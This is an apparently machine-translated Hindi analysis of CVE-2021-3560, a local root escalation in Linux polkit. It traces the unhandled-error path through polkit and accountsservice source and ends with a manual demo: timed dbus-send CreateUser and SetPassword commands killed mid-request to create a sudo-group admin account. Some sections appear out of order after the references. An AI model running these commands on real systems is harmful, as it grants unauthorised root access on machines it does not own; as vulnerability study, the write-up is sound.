
CVE-2021-3560 का गहन विश्लेषण, जो Linux PolKit में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है। इसमें मूल कारण विश्लेषण, शोषण तंत्र, और रूट एक्सेस की ओर ले जाने वाली रेस कंडीशन का प्रदर्शन शामिल है।
[toc]
भेद्यता आईडी: CVE-2021-3560
भेद्यता स्कोर:
भेद्यता उत्पाद: linux PolKit (polkitd)
प्रभावित सीमा: स्रोत कोड 0.113 में पेश किया गया; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html
उपयोग की शर्तें: linux स्थानीय; dbus + polkitd मौजूद
उपयोग प्रभाव: स्थानीय विशेषाधिकार वृद्धि
स्रोत कोड प्राप्त करें:
apt source accountsserviceapt source dbusubuntu डिफ़ॉल्ट छवि ubuntu-20.04.2 पुन: प्रस्तुत करने के लिए पर्याप्त है: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso
पहले समस्या कोड देखें
/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync
static void
on_retrieved_unix_uid_pid (GObject *src,
GAsyncResult *res,
gpointer user_data)
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error);
if (!v)
{
data->caught_error = TRUE; //某些原因失败之后设置error位
}
else
{
··· ···//执行成功的数据处理
}
··· ···
}
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
··· ···
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
}
polkit_system_bus_name_get_creds_sync फ़ंक्शन में, यह फ़ंक्शन कुछ अनुरोधों के लिए प्रमाणीकरण करता है (विशिष्ट तर्क परिदृश्य बाद में विस्तार से बताया जाएगा)। यह क्रमशः org.freedesktop.DBus बस के माध्यम से GetConnectionUnixUser विधि और GetConnectionUnixProcessID विधि को कॉल करता है। ये दो विधियाँ org.freedesktop.DBus बस द्वारा प्रदान की जाती हैं, जो अनुरोध प्रक्रिया के PID और उपयोगकर्ता UID को प्राप्त करती हैं, और फिर उन्हें कॉलबैक फ़ंक्शन on_retrieved_unix_uid_pid में भेजती हैं जो लौटाए गए डेटा को संसाधित करता है। फिर यह बस की ओर से प्रक्रिया पूरी होने तक ब्लॉक करता है।
on_retrieved_unix_uid_pid फ़ंक्शन में देखा जा सकता है कि यह बस से लौटाए गए परिणाम के आधार पर तय करता है कि कोई अपवाद हुआ है या नहीं (error?), और फिर अपवाद बिट सेट करता है। यदि सफल होता है, तो यह उपयोगकर्ता UID या प्रक्रिया PID लौटाता है। लेकिन polkit_system_bus_name_get_creds_sync फ़ंक्शन में, बस से परिणाम लौटने की प्रतीक्षा करने के बाद (प्रसंस्करण पूर्ण होने का संकेत यह है कि UID और PID दोनों संसाधित हो गए हैं या कोई अपवाद हुआ है), दूसरे शब्दों में, तार्किक रूप से बस से लौटने के तीन संभावित परिणाम हैं: उपयोगकर्ता UID 0 प्राप्त करना (विशेषाधिकार प्राप्त उपयोगकर्ता); उपयोगकर्ता UID गैर-0 प्राप्त करना (सामान्य उपयोगकर्ता); अपवाद। लेकिन बाद के प्रसंस्करण में, अपवाद को संभाला नहीं जाता है, और सीधे out_uid को बस से लौटाए गए data.uid पर सेट कर दिया जाता है, फिर ret को सीधे TRUE पर सेट कर दिया जाता है:
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
लेकिन एक स्थिति को नजरअंदाज किया गया है: जब DBUS बस की ओर से निष्पादन में अपवाद होता है, जिसके कारण कॉलबैक फ़ंक्शन अपवाद बिट सेट करके वापस आ जाता है, और data डेटा को बिल्कुल संसाधित नहीं करता है। चूंकि data को 0 से प्रारंभ किया गया था, इसके परिणामस्वरूप बाद में out_uid को सीधे 0 पर सेट कर दिया जाता है, जो विशेषाधिकार प्राप्त उपयोगकर्ता है।
तो यह समस्याग्रस्त polkit_system_bus_name_get_creds_sync फ़ंक्शन कहाँ उपयोग किया जाता है?
भेद्यता बिंदु polkitd प्रक्रिया में है:
polkit एक एप्लिकेशन-स्तरीय टूलसेट है जो विभिन्न प्राथमिकता वाली प्रक्रियाओं के बीच संचार को सक्षम करने के लिए अनुमति नियमों को परिभाषित और ऑडिट करता है: नियंत्रण निर्णय एक समान ढांचे में केंद्रित होते हैं, यह तय करते हुए कि क्या कम प्राथमिकता वाली प्रक्रिया को उच्च प्राथमिकता वाली प्रक्रिया तक पहुंचने का अधिकार है।
संक्षेप में, यह एक पृष्ठभूमि में चलने वाली रूट प्रक्रिया है जो अन्य कम विशेषाधिकार वाली प्रक्रियाओं द्वारा उच्च विशेषाधिकार वाली प्रक्रियाओं द्वारा प्रदान की जाने वाली सुविधाओं तक पहुंचने के लिए अनुमति निर्णय लेने के लिए इंटरप्रोसेस संचार के माध्यम से काम करती है। चूंकि यह प्रक्रिया gdb के साथ जुड़ने पर पुनरारंभ हो जाती है, हमें केवल स्रोत कोड स्तर पर विश्लेषण करना होगा और भेद्यता फ़ंक्शन के ट्रिगर पथ का पता लगाना होगा:
polkitd में बड़े पैमाने पर gio DBUS इंटरप्रोसेस संचार ढांचे का उपयोग किया गया है, आप पहले से मैनुअल देख सकते हैं, कुछ महत्वपूर्ण फ़ंक्शन आदि पर ध्यान दें।
आगे हम polkitd के भेद्यता ट्रिगर पथ का विश्लेषण करते हैं,
सबसे पहले main:
polkit-0.113\src\polkitbackend\polkitd.c : 155 : main
int
main (int argc,
char **argv)
{
··· ···
··· ···
loop = g_main_loop_new (NULL, FALSE);
sigint_id = g_unix_signal_add (SIGINT,
on_sigint,
NULL);
name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
"org.freedesktop.PolicyKit1", //一个总线名称注册
G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
(opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
on_bus_acquired, //该总线被访问时的回调函数
on_name_acquired,
on_name_lost,
NULL,
NULL);
g_print ("Entering main event loop\n");
g_main_loop_run (loop); //循环启动
··· ···
··· ···
}
पहले org.freedesktop.PolicyKit1 नामक एक बस पंजीकृत करता है, फिर तीन कॉलबैक फ़ंक्शन हैं, मुख्य रूप से on_bus_acquired पर ध्यान दें, जो बस तक पहुंचने पर कॉल किया जाता है।
on_bus_acquired फ़ंक्शन में सीधे एक पंजीकरण प्रकार का फ़ंक्शन polkit_backend_authority_register कॉल किया जाता है।
अर्थात, जब अन्य फ़ंक्शन बस org.freedesktop.PolicyKit1.Authority पर CheckAuthorization विधि को कॉल करते हैं, तो कुछ परिदृश्यों में (DBUS द्वारा अनुरोधित UID प्राप्त करने में अपवाद नियंत्रित करना) उस विधि की प्रमाणीकरण शुद्धता प्रभावित हो सकती है। चूंकि हम सीधे उत्तर देख सकते हैं, भेद्यता का उपयोग करने की विधि account-daemon का उपयोग करना है।
पहले exp लेखक के इस चित्र का संदर्भ लें:
चित्र में वस्तुओं का परिचय:
polkitd, dbus-daemon और account-daemon तीनों प्रक्रियाएँ रूट विशेषाधिकारों के साथ चलने वाली पृष्ठभूमि सेवा प्रक्रियाएँ हैं।dbus-daemon एक इंटरप्रोसेस संचार "राउटर" है, जो ऊपर उल्लिखित GIO DBUS इंटरप्रोसेस संचार ढांचे का मूल है। मेरी समझ में, विभिन्न प्रक्रियाएँ यहाँ बस नाम पंजीकृत कर सकती हैं, और आपके साथ संवाद करने वाली प्रक्रियाएँ बस नाम और इंटरफ़ेस/विधि नामों तक पहुँचकर आपकी प्रक्रिया में फ़ंक्शन कॉल कर सकती हैं। ऊपर वर्णित polkitd प्रक्रिया के कुछ फ़ंक्शन dbus में बस पंजीकृत करके अन्य प्रक्रियाओं द्वारा कॉल किए जाने की प्रतीक्षा करते हैं।account-daemon polkitd के समान है, यह dbus में org.freedesktop.Accounts बस पंजीकृत करता है और खाता-संबंधित विधियों की एक श्रृंखला प्रदान करता है, जैसे कि उपयोगकर्ता जोड़ना, पासवर्ड सेट करना आदि, जिनका उपयोग बाद में किया जाएगा। और यह प्रक्रिया उपयोगकर्ता जोड़ने जैसे संचालन से पहले उपयोगकर्ता का प्रमाणीकरण करती है, और प्रमाणीकरण विधि ठीक वही है जो ऊपर उल्लिखित polkitd प्रक्रिया द्वारा प्रदान की गई भेद्यता-युक्त बस विधि CheckAuthorization है।dbus-send एक कमांड है, dbus बस प्रक्रियाओं के बीच संचार के लिए कुछ प्रोग्रामिंग इंटरफ़ेस प्रदान करती है, और साथ ही कमांड-लाइन कमांड भी प्रदान करती है जो सीधे एक निश्चित प्रक्रिया को संदेश भेजकर उनकी विधियों को कॉल कर सकते हैं।तो यहाँ भेद्यता उपयोग की समग्र घटना प्रवाह इस प्रकार है:
dbus-send कमांड का उपयोग करके account-daemon प्रक्रिया को एक संदेश भेजें, जिससे वह एक प्रशासक उपयोगकर्ता बनाए (यह प्रक्रिया द्वारा प्रदान की गई CreateUser विधि डिफ़ॉल्ट रूप से प्रशासक उपयोगकर्ता जोड़ती है), लेकिन हमारी पहचान के साथ यह ऑपरेशन पूरा नहीं किया जा सकता है।account-daemon प्रक्रिया पर भेजे जाने के बाद, account-daemon polkitd प्रक्रिया से अनुमति सत्यापन का अनुरोध करेगा, यह तय करने के लिए कि क्या इस उपयोगकर्ता जोड़ने के ऑपरेशन को मंजूरी दी जाए।polkitd बस से पूछताछ करेगा कि उपयोगकर्ता बनाने का अनुरोध करने वाली प्रक्रिया के उपयोगकर्ता विशेषाधिकार और प्रक्रिया आईडी क्या हैं।
account-daemon द्वारा संदेश प्राप्त करने से लेकर polkitd द्वारा अनुरोध करने वाली प्रक्रिया के विशेषाधिकारों के बारे में पूछताछ करने तक की समयावधि के भीतर, अनुरोध करने वाली प्रक्रिया (यानी dbus-send प्रक्रिया) को kill कर दें।चूंकि dbus-daemon एक मध्यस्थ प्रक्रिया है, इसलिए हम इसका विस्तार से विश्लेषण नहीं करेंगे, लेकिन यहाँ account-daemon प्रक्रिया का विश्लेषण करते हैं, जो उपयोग प्रक्रिया में एक महत्वपूर्ण प्रक्रिया है। यह प्रक्रिया भी GIO DBUS ढांचे का उपयोग करती है, इसमें कुछ महत्वपूर्ण बिंदुओं का सरल विश्लेषण करते हैं, पहले देखें:
accountsservice-0.6.45\src\daemon.c : 90
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);
G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
iface->handle_create_user = daemon_create_user;
iface->handle_delete_user = daemon_delete_user;
··· ···
}
यहाँ G_DEFINE_TYPE_WITH_CODE और G_IMPLEMENT_INTERFACE मैक्रो का उपयोग करके daemon_accounts_accounts_iface_init फ़ंक्शन को निष्पादित किया जाता है। इन दो मैक्रो का अर्थ है कि वे किसी अवसर पर daemon_accounts_accounts_iface_init फ़ंक्शन को निष्पादित करेंगे, जिसमें create_user विधि पंजीकृत की गई है। सीधे daemon_create_user फ़ंक्शन का कार्यान्वयन देखें:
accountsservice-0.6.45\src\daemon.c : 1099
static gboolean
daemon_create_user (AccountsAccounts *accounts,
GDBusMethodInvocation *context,
const gchar *user_name,
const gchar *real_name,
gint account_type)
{
··· ···
data = g_new0 (CreateUserData, 1);
data->user_name = g_strdup (user_name);
data->real_name = g_strdup (real_name);
data->account_type = account_type;
daemon_local_check_auth (daemon,
NULL,
"org.freedesktop.accounts.user-administration",
TRUE,
daemon_create_user_authorized_cb, //回调函数
context,
data,
(GDestroyNotify)create_data_free);
return TRUE;
}
daemon_create_user में daemon_local_check_auth फ़ंक्शन कॉल किया जाता है ताकि अनुरोध करने वाले उपयोगकर्ता के विशेषाधिकारों की जांच की जा सके, और सफल होने पर कॉलबैक फ़ंक्शन daemon_create_user_authorized_cb कॉल किया जाता है। यहाँ पहले प्रमाणीकरण फ़ंक्शन daemon_local_check_auth देखें:
accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth
void
daemon_local_check_auth (Daemon *daemon,
User *user,
const gchar *action_id,
gboolean allow_interaction,
AuthorizedCallback authorized_cb,
GDBusMethodInvocation *context,
gpointer authorized_cb_data,
GDestroyNotify destroy_notify)
{
··· ···
polkit_authority_check_authorization (daemon->priv->authority,
subject,
action_id,
NULL,
flags,
NULL,
(GAsyncReadyCallback) check_auth_cb,
data);
··· ···
}
यहाँ polkit_authority_check_authorization फ़ंक्शन कॉल किया जाता है जो libpolkit-gobject-1.so.0 द्वारा प्रदान किया गया एक लाइब्रेरी फ़ंक्शन है, जो सीधे ऊपर विश्लेषित polkitd प्रक्रिया में बस org.freedesktop.PolicyKit1.Authority पर CheckAuthorization विधि को कॉल करके प्रमाणीकरण करता है। प्रमाणीकरण सफल होने पर कॉलबैक फ़ंक्शन daemon_create_user_authorized_cb कॉल किया जाता है:
accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb
static void
daemon_create_user_authorized_cb (Daemon *daemon,
User *dummy,
GDBusMethodInvocation *context,
gpointer data)
{
··· ···
argv[0] = "/usr/sbin/adduser";
argv[1] = "--quiet";
argv[2] = "--disabled-login";
argv[3] = "--gecos";
argv[4] = cd->real_name;
argv[5] = cd->user_name;
argv[6] = NULL;
error = NULL;
if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
g_error_free (error);
return;
}
if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
}
··· ···
}
यहाँ यह स्पष्ट है कि उपयोगकर्ता को सफलतापूर्वक जोड़ने के बाद, उपयोगकर्ता को सीधे sudo उपयोगकर्ता समूह में जोड़ दिया जाता है, इसलिए exp के अंत में उपयोगकर्ता को जोड़ने के बाद sudo su root के माध्यम से रूट में स्विच किया जा सकता है।
अब मैन्युअल भेद्यता उपयोग का डेमो देखें।
सामान्य उपयोगकर्ता के रूप में सीधे dbus-send कमांड का उपयोग करके account-daemon को उपयोगकर्ता बनाने का अनुरोध भेजें:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1
यह अनुरोध ग्राफिकल इंटरफ़ेस वाले ऑपरेटिंग सिस्टम में पासवर्ड दर्ज करने की विंडो दिखाएगा:
ssh जैसे कमांड-लाइन टर्मिनल में यह सीधे विफल हो जाएगा:

ऊपर भेद्यता उपयोग के विचार के अनुसार, पहले इस कमांड का निष्पादन समय देखें:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

फिर इस कमांड के लगभग आधे निष्पादन समय पर इसे kill करने का चयन करें, तो भेद्यता ट्रिगर होने और उपयोगकर्ता सफलतापूर्वक बनने की संभावना है:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!
कई बार निष्पादित करने पर सफलता मिल सकती है:

और यह sudo उपयोगकर्ता समूह में भी है:

फिर उसी विधि से इसके लिए एक पासवर्ड सेट करें:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!
User1002 को नवनिर्मित उपयोगकर्ता के UID के अनुसार बदलना होगा, पासवर्ड हैश मान का उपयोग करें। फिर उपयोगकर्ता पर स्विच करें।
यहाँ exp विस्तार से नहीं लिखा गया है, वास्तव में यह उपरोक्त कमांड को स्वचालित करने जितना सरल है। github पर C भाषा का exp भी चलाने पर ठीक काम करता है।
नवीनतम संस्करण में अपग्रेड करें।
भेद्यता प्रकटीकरण (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560
m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502
polkit_backend_authority_register फ़ंक्शन में, एक इंटरफ़ेस ऑब्जेक्ट org.freedesktop.PolicyKit1.Authority पंजीकृत किया जाता है, और एक कॉलबैक फ़ंक्शन तालिका server_vtable पास की जाती है। भेद्यता ट्रिगर बिंदु इस कॉलबैक फ़ंक्शन तालिका में से एक में है:
policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable
static const GDBusInterfaceVTable server_vtable =
{
server_handle_method_call, //回调函数
server_handle_get_property,
NULL, /* server_handle_set_property */
};
static void
server_handle_method_call (GDBusConnection *connection,
const gchar *sender,
const gchar *object_path,
const gchar *interface_name,
const gchar *method_name,
GVariant *parameters,
GDBusMethodInvocation *invocation,
gpointer user_data)
{
Server *server = user_data;
PolkitSubject *caller;
caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
if (g_strcmp0 (method_name, "EnumerateActions") == 0)
server_handle_enumerate_actions (server, parameters, caller, invocation);
else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
··· ···
··· ···
}
जब अन्य प्रक्रियाएँ बस के माध्यम से CheckAuthorization विधि को कॉल करती हैं, तो server_handle_check_authorization फ़ंक्शन कॉल किया जाता है।
server_handle_check_authorization फ़ंक्शन में, polkit_backend_authority_check_authorization कॉल किया जाता है।
polkit_backend_authority_check_authorization फ़ंक्शन में, कॉलबैक के माध्यम से klass->check_authorization कॉल किया जाता है, बाद वाला पंजीकृत फ़ंक्शन polkit_backend_interactive_authority_check_authorization है:
polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization
void
polkit_backend_authority_check_authorization (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
GCancellable *cancellable,
GAsyncReadyCallback callback,
gpointer user_data)
{
··· ···
if (klass->check_authorization == NULL)
{
··· ···
}
else
{
klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
}
}
authority_class->check_authorization = /
polkit_backend_interactive_authority_check_authorization; //在别处初始化的
अब क्रम में खोजें: check_authorization_sync
polkit_backend_session_monitor_get_user_for_subject
भेद्यता फ़ंक्शन: polkit_system_bus_name_get_user_sync
polkitddbus-send प्रक्रिया को kill कर दिया गया, जिससे बस जांच में अपवाद आया, लेकिन account-daemon प्रभावित नहीं होगा; account-daemon द्वारा संदेश प्राप्त करने के बाद, वह अब अनुरोध करने वाली प्रक्रिया के अस्तित्व की परवाह नहीं करेगा।account-daemon को polkitd से जोड़ने की अनुमति का उत्तर मिलने के बाद, वह उपयोगकर्ता बनाता है और उपयोग पूरा करता है।